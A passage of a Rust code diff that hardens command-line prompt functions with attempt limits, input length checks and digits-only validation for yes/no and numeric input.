if attempts > MAX_ATTEMPTS {
|
||||
println!("{}", "Too many invalid attempts. Using default.".yellow());
|
||||
return Ok(default_yes);
|
||||
}
|
||||
|
||||
print!("{} [{}]: ", message, default_hint);
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
|
||||
// Length check - y/n should be very short
|
||||
if input.len() > 10 {
|
||||
println!("{}", "Please answer with 'y' or 'n'.".yellow());
|
||||
continue;
|
||||
}
|
||||
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => return Ok(default_yes),
|
||||
@@ -760,35 +829,83 @@ fn prompt_yes_no(message: &str, default_yes: bool) -> io::Result<bool> {
|
||||
}
|
||||
|
||||
fn prompt_u64(message: &str, default: u64) -> io::Result<u64> {
|
||||
let mut attempts = 0;
|
||||
const MAX_ATTEMPTS: u8 = 10;
|
||||
|
||||
loop {
|
||||
attempts += 1;
|
||||
if attempts > MAX_ATTEMPTS {
|
||||
println!("{}", "Too many invalid attempts. Using default.".yellow());
|
||||
return Ok(default);
|
||||
}
|
||||
|
||||
print!("{} [{}]: ", message, default);
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
|
||||
// Length check - numbers shouldn't be too long
|
||||
if input.len() > 20 {
|
||||
println!("{}", "Number too long. Please enter a valid positive integer.".yellow());
|
||||
continue;
|
||||
}
|
||||
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
|
||||
// Only allow digits
|
||||
if !trimmed.chars().all(|c| c.is_ascii_digit()) {
|
||||
println!("Invalid number. Please enter a positive integer.");
|
||||
continue;
|
||||
}
|
||||
|
||||
match trimmed.parse::<u64>() {
|
||||
Ok(value) if value > 0 => return Ok(value),
|
||||
_ => println!("Invalid number. Please enter a positive integer."),
|
||||
Ok(_) => println!("Number must be greater than 0."),
|
||||
Err(_) => println!("Number too large. Please enter a smaller value."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_usize(message: &str, default: usize) -> io::Result<usize> {
|
||||
let mut attempts = 0;
|
||||
const MAX_ATTEMPTS: u8 = 10;
|
||||
|
||||
loop {
|
||||
attempts += 1;
|
||||
if attempts > MAX_ATTEMPTS {
|
||||
println!("{}", "Too many invalid attempts. Using default.".yellow());
|
||||
return Ok(default);
|
||||
}
|
||||
|
||||
print!("{} [{}]: ", message, default);
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
|
||||
// Length check - numbers shouldn't be too long
|
||||
if input.len() > 20 {
|
||||
println!("{}", "Number too long. Please enter a valid positive integer.".yellow());
|
||||
continue;
|
||||
}
|
||||
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
|
||||
// Only allow digits
|
||||
if !trimmed.chars().all(|c| c.is_ascii_digit()) {
|
||||
println!("Invalid number. Please enter a positive integer.");
|
||||
continue;
|
||||
}
|
||||
|
||||
match trimmed.parse::<usize>() {
|
||||
Ok(value) if value > 0 => return Ok(value),
|
||||
_ => println!("Invalid number. Please enter a positive integer."),
|
||||
Ok(_) => println!("Number must be greater than 0."),
|
||||
Err(_) => println!("Number too large. Please enter a smaller value."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user